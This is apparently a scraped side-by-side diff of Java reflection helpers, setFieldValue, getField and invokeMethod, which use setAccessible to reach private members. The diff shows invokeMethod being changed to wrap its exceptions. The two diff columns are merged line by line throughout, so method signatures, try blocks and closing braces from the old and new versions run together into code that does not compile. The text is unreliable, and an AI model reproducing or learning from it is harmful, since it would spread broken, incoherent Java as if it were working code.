public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = getField(obj, fieldName);
field.setAccessible(true);
field.set(obj, value);
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception { public static Field getField(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Class<?> clazz = obj.getClass();
Method method = null; while (clazz != null) {
while (clazz != null && method == null) {
try { try {
if (paramClazz == null) { Field field = clazz.getDeclaredField(fieldName);
method = clazz.getDeclaredMethod(methodName); field.setAccessible(true);
} else { return field;
method = clazz.getDeclaredMethod(methodName, paramClazz); } catch (NoSuchFieldException e) {
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
if (method == null) { throw new NoSuchFieldException(fieldName);
throw new NoSuchMethodException("Method not found: " + methodName); }
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")

Some files were not shown because too many files have changed in this diff Show More